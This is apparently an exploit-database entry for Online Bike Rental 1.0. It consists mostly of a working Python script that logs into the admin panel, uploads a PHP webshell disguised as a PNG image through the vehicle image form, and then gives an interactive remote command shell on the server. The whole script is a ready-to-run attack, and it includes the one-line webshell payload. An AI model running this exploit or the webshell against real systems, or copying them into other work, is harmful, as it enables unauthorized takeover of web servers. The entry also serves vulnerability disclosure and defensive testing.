Online Bike Rental 1.0 Shell Upload

Online Bike Rental version 1.0 suffers from an authenticated remote shell upload vulnerability.


MD5 | c24d92ba32b907f53df823c312feb8d2

# Exploit Title: Online Bike Rental 1.0 - Authenticated Remote Code Execution
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# Vulnerability Discovery: Adeeb Shah (@hyd3sec)
# Date: 2020-07-31
# Vendor Homepage: ttps://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html
# Software Link: ttps://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/bikerental-php.zip
# Version: 1.0
# CWE-434: Unrestricted Upload of File with Dangerous Type
# Overall CVSS Score: 7.2
# CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:L/IR:L/AR:L/MAV:N/MAC:L/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H
# CVSS Base Score: 9.1 | Impact Subscore: 6.0 | Exploitability Subscore: 2.3
# CVSS Temporal Score: 8.9 | CVSS Environmental Score: 7.2 | Modified Impact Subscore: 4.5
# Tested On: Windows 10 Pro (x64_86) + XAMPP | Python 2.7
# Vulnerability Description:
# Online Bike Rental v1.0 suffers from an authenticated file upload vulnerability allowing remote attackers
# to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.

import requests, sys, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
#proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_PATH, session):
try:
WEB_SHELL = SERVER_URL + WEBSHELL_PATH
print(info+"Webshell URL: "+ WEB_SHELL)
getdir = {'s33k': 'echo %CD%'}
req = session.post(url=WEB_SHELL, data=getdir, verify=False)
status = req.status_code
if status != 200:
print(err+"Could not connect to the webshell.")
req.raise_for_status()
print(ok+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', req.text)
cwd = cwd[0]+"> "
term = S[3]+F[3]+cwd+F[0]
print(S[1]+F[2]+')'+F[4]+'+++++'+F[2]+'['+F[0]+'=========>'+S[0]+S[3]+' hyd3sec & boku '+S[0]+S[1]+'<========'+F[2]+']'+F[4]+'+++++'+F[2]+'('+F[0]+S[0])
while True:
cmd = raw_input(term)
command = {'s33k': cmd}
req = requests.post(WEB_SHELL, data=command, verify=False)
status = req.status_code
if status != 200:
req.raise_for_status()
resp= req.text
print(resp)
except:
print('\r\n'+err+'Webshell session failed. Quitting.')
sys.exit(-1)

def SIG():
SIG = S[1]+" ,(&@@@@* ,@@@@@@%( \n"
SIG += " &@@@@@@@@@@@@@@@& @@@@@@@@@@@@@( \n"
SIG += " *@@@@@@@@@@@@%@@@@@@ ,, `''@@@/ ,@@ \n"
SIG += " @@@@@@@@@# /@@@@@@ #@@@@@@@@@&. * /@@@@@@ \n"
SIG += " @@(@@@@@ /@@@@@@ @@@@@@@@@@@@@@@` @@@@@@ @@ \n"
SIG += " @@ , @@@@@@@@ #@@@@@@@@@@@@@@ &@@@ %@.\n"
SIG += " @@ %@@@@@@@@@@ %@@@@@@@@@@@@@@. /@#\n"
SIG += " %@ /@@@@@@@@@@ &@@@@@@@@@@ &@ \n"
SIG += " @@ # ...*&@@@@@@@@@@@* @@ \n"
SIG += " ,&@@@@& /@@@@"+S[0]+S[3]+"@hyd3sec"+S[0]+S[1]+"@@@@@ (@@@@@% \n"
SIG += " @@@@ (@@%@@@@@@@@@/@@ *@@@% \n"
SIG += " @@@@@@,*@@@@@ %@@@@@@ \n"
SIG += " @@@@@# @ @@@@@% "+S[0]+S[3]+F[4]+" .-----.._ ,--."+S[0]+S[1]+"\n"
SIG += " &@@@@@ @@@@@ "+S[0]+S[3]+F[4]+" | .. > ___ | | .--."+S[0]+S[1]+"\n"
SIG += " @@@@@@ @@@@@* "+S[1]+" # "+S[0]+S[3]+F[4]+" | |.' ,'-\" \"-. |/ /__ __\n"+S[0]+S[1]+""
SIG += " (@@@@@@@@@@@ "+S[1]+" ##### "+S[0]+S[3]+F[4]+" | < "+F[2]+" * *"+F[4]+" \ / \\/ \\\n"+S[0]+S[1]+""
SIG += " @@&%@@@ @@@ "+S[1]+" # "+S[0]+S[3]+F[4]+" | |> )"+F[2]+" * * *"+F[4]+" / \\ \\\n"+S[0]+S[1]+""
SIG += " @@( @@ @@ "+S[0]+S[3]+F[4]+" |____..- '-."+F[2]+"*"+F[4]+"_"+F[2]+"*"+F[4]+".-'_|\\___|._..\\___\\\n"+S[0]+S[1]+""
SIG += " &* & @ "+S[0]+S[3]+F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
return SIG

def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]

def header():
head = S[3]+F[2]+' --- Online Bike Rental 1.0 - Authenticated Remote Code Execution (RCE) ---\n'+S[0]
return head

if __name__ == "__main__":
#1 | INIT
print(header())
print(SIG())
if len(sys.argv) != 4:
print(err+formatHelp("Usage:\t python %s <WEBAPP_URL> <USERNAME> <PASSWORD>" % sys.argv[0]))
print(err+formatHelp("Example:\t python %s 'http://172.16.65.130/bikerental/' 'admin' '[email protected]'" % sys.argv[0]))
sys.exit(-1)
# python CLI Arguments
SERVER_URL = sys.argv[1]
USERNAME = sys.argv[2]
PASSWORD = sys.argv[3]
# Make sure that URL has a / at end
if not re.match(r".*/$", SERVER_URL):
SERVER_URL = SERVER_URL+'/'
# URLs
LOGIN_URL = SERVER_URL + 'admin/index.php'
UPLOAD_URL = SERVER_URL + 'admin/changeimage1.php?imgid=1'

#2 | Create Session
# Create a web session in python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(LOGIN_URL, verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok+'Successfully connected to Bike Rental PHP server & created session.')
print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err+'Cannot connect to the server and create a web session.')
sys.exit(-1)
# POST data to login with known admin creds
login_data = {'username':USERNAME, 'password':PASSWORD,'login':''}
print(info+"Attempting to Login to Bike Rental with credentials: "+USERNAME+":"+PASSWORD)
#auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False)
loginchk = str(re.findall(r'change-password.php', auth.text))
# print(loginchk) # Debug - search login response for successful login
if loginchk == "[u'change-password.php']":
print(ok+"Login successful.")
else:
print(err+"Failed login. Check credentials.")
sys.exit(-1)

#3 | File Upload
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
# Content-Disposition: form-data; name="img1"; filename="hyd3.php"
# Content-Type: image/png
websh = {
'img1':
(
'hyd3.php',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_REQUEST["s33k"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'update':''}
print(info+"Exploiting bike image file upload vulnerability to upload a PHP webshell")
#upload_bike = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
upload_bike = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False)

#4 | Get Webshell Upload Name
uploadchk = re.findall(r'img/vehicleimages/hyd3.php', upload_bike.text)
uploadchk = uploadchk[0]
# print(uploadchk) # Debug - Find webshell file upload in response
if uploadchk == "img/vehicleimages/hyd3.php":
print(ok+"Successfully uploaded webshell")
else:
print(err+"Webshell upload failed.")
sys.exit(-1)
webshPath = 'admin/' + uploadchk
print(info+"Webshell Filename: " + webshPath)

#5 | interact with webshell for Remote Command Execution
webshell(SERVER_URL, webshPath, s)

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